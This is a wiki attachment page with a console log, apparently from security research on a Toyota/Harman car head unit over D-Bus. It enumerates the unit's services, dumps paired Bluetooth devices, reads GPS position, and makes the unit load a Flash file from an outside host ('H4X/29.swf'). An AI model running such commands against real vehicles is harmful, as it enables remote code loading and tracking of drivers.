Attachment 'toyota.log'

Download

machine% python toyota.py
<!DOCTYPE node PUBLIC "-//freedesktop//DTD D-BUS Object Introspection 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd">
<node name="/com/harman/service/ToyotaMGR">
   <interface name="com.harman.ServiceIpc">
      <method name="Invoke">
         <arg name="method" type="s" direction="in"/>
         <arg name="parameters" type="s" direction="in"/>
         <arg name="result" type="s" direction="out"/>
      </method>
      <signal name="Emit">
         <arg name="name" type="s"/>
         <arg name="data" type="s"/>
      </signal>
   </interface>
   <interface name="org.freedesktop.DBus.Introspectable">
      <method name="Introspect">
         <arg direction="out" type="s" name="data"/>
      </method>
   </interface>
</node>


   p = bus.get_object("org.freedesktop.DBus", "/org/freedekstop/DBus")
    print p.Introspect()

<!DOCTYPE node PUBLIC "-//freedesktop//DTD D-BUS Object Introspection 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd">
<node>
  <interface name="org.freedesktop.DBus.Introspectable">
    <method name="Introspect">
      <arg name="data" direction="out" type="s"/>
    </method>
  </interface>
  <interface name="org.freedesktop.DBus">
    <method name="Hello">
      <arg direction="out" type="s"/>
    </method>
    <method name="RequestName">
      <arg direction="in" type="s"/>
      <arg direction="in" type="u"/>
      <arg direction="out" type="u"/>
    </method>
    <method name="ReleaseName">
      <arg direction="in" type="s"/>
      <arg direction="out" type="u"/>
    </method>
    <method name="StartServiceByName">
      <arg direction="in" type="s"/>
      <arg direction="in" type="u"/>
      <arg direction="out" type="u"/>
    </method>
    <method name="UpdateActivationEnvironment">
      <arg direction="in" type="a{ss}"/>
    </method>
    <method name="NameHasOwner">
      <arg direction="in" type="s"/>
      <arg direction="out" type="b"/>
    </method>
    <method name="ListNames">
      <arg direction="out" type="as"/>
    </method>
    <method name="ListActivatableNames">
      <arg direction="out" type="as"/>
    </method>
    <method name="AddMatch">
      <arg direction="in" type="s"/>
    </method>
    <method name="RemoveMatch">
      <arg direction="in" type="s"/>
    </method>
    <method name="GetNameOwner">
      <arg direction="in" type="s"/>
      <arg direction="out" type="s"/>
    </method>
    <method name="ListQueuedOwners">
      <arg direction="in" type="s"/>
      <arg direction="out" type="as"/>
    </method>
    <method name="GetConnectionUnixUser">
      <arg direction="in" type="s"/>
      <arg direction="out" type="u"/>
    </method>
    <method name="GetConnectionUnixProcessID">
      <arg direction="in" type="s"/>
      <arg direction="out" type="u"/>
    </method>
    <method name="GetAdtAuditSessionData">
      <arg direction="in" type="s"/>
      <arg direction="out" type="ay"/>
    </method>
    <method name="GetConnectionSELinuxSecurityContext">
      <arg direction="in" type="s"/>
      <arg direction="out" type="ay"/>
    </method>
    <method name="ReloadConfig">
    </method>
    <method name="GetId">
      <arg direction="out" type="s"/>
    </method>
    <signal name="NameOwnerChanged">
      <arg type="s"/>
      <arg type="s"/>
      <arg type="s"/>
    </signal>
    <signal name="NameLost">
      <arg type="s"/>
    </signal>
    <signal name="NameAcquired">
      <arg type="s"/>
    </signal>
  </interface>
</node>

p = bus.get_object("org.freedesktop.DBus", "/org/freedekstop/DBus")
i = dbus.Interface(p, dbus_interface="org.freedesktop.DBus")
for s in i.ListNames():
        print s


org.freedesktop.DBus
com.harman.service.PersistentKeyValue
com.harman.service.SimpleHandsFree
com.harman.service.antiReadDisturbService
com.harman.service.SoftwareInstaller
com.aicas.xlet.manager.AMS
com.harman.service.SoftwareUpdate
com.harman.service.csi_SqlDatabase
com.harman.service.HMIService
com.harman.service.Media
com.harman.service.Navigation
:1.40
com.harman.service.Diagnostics
com.harman.service.ToyotaConnMgr
:1.20
:1.24
:1.25
:1.48
com.harman.service.poi_SqlDatabase
:1.26
:1.27
:1.28
com.harman.service.BluetoothService
com.harman.service.DatabaseService
com.harman.service.ToyotaMGR
com.harman.service.Tuner
com.harman.service.NDR
com.harman.service.WavePrompter
com.harman.service.authenticationService
de.ict-se.service.Csi
com.harman.service.ContactBackup
com.harman.service.PictureScaler
com.harman.service.WatchDogService
com.harman.service.TimeMgr
com.harman.service.ConnMgr
:1.31
:1.32
:1.11
:1.33
com.harman.service.AudioCtrlSvc
:1.12
:1.34
:1.0
:1.35
com.harman.service.PimService
:1.1
:1.14
:1.36
:1.2
com.harman.service.DeviceInput
:1.37
:1.38
:1.3
:1.39
:1.4
:1.17
:1.5
:1.18
:1.19


machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList ''
{"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0}

machine% python toyota.py com.aicas.xlet.manager.AMS getAllProperties '{}' 
ERROR:dbus.proxies:Introspect error on :1.40:/com/aicas/xlet/manager/AMS: dbus.exceptions.DBusException: org.freedesktop.dbus.exceptions.DBusExecutionException: Error Executing Method org.freedesktop.DBus.Introspectable.Introspect: -1 not in 0..-1
{ "version":"1.0.17",
  "visible":true,
  "verbose":false,
  "secure":true,
  "initXletTimeout":30000,
  "startXletTimeout":30000,
  "pauseXletTimeout":3000,
  "destroyXletTimeout":10000,
  "destroyXletThreadsTimeout":200,
  "destroyXletOnErrorTimeout":4000,
  "defaultCallbackTimeout":10000,
  "initXletPriority":5,
  "startXletPriority":5,
  "pauseXletPriority":5,
  "destroyXletPriority":5,
  "destroyXletOnErrorPriority":5,
  "runningApp":"",
  "pausedAppCount":0,
  "noErrorOnNotifyDestroyedDuringStateTransition":true,
  "pauseRunningXletOnResumeRequest":false,
  "freeMemXletAllocationLimit":200000,
  "freeMemXletAlarmLimit":200000,
  "maxXletImageMemory":-1 }


machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }'
calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" })
{"result":true}

machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo ''
calling MAP_PositionInfo()
{"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}

Attached Files

To refer to attachments on a page, use attachment:filename, as shown below in the list of files. Do NOT use the URL of the [get] link, since this is subject to change and can break easily.
  • [get | view | diff] (2012-11-06 16:54:29, 1.2 KB) [[attachment:scan.py]]
  • [get | view | diff] (2012-11-06 16:58:26, 0.4 KB) [[attachment:toyota-cmd.py]]
  • [get | view | diff] (2012-11-06 12:56:14, 26.7 KB) [[attachment:toyota-dbus.txt]]
  • [get | view | diff] (2012-11-06 17:08:29, 8.3 KB) [[attachment:toyota.log]]
  • [get | view | diff] (2012-11-06 12:55:59, 1.2 KB) [[attachment:toyota.py]]
 All files | Selected Files: delete move to page
Normal Sort Sort + uniq Sort + uniq + count

You are not allowed to attach a file to this page.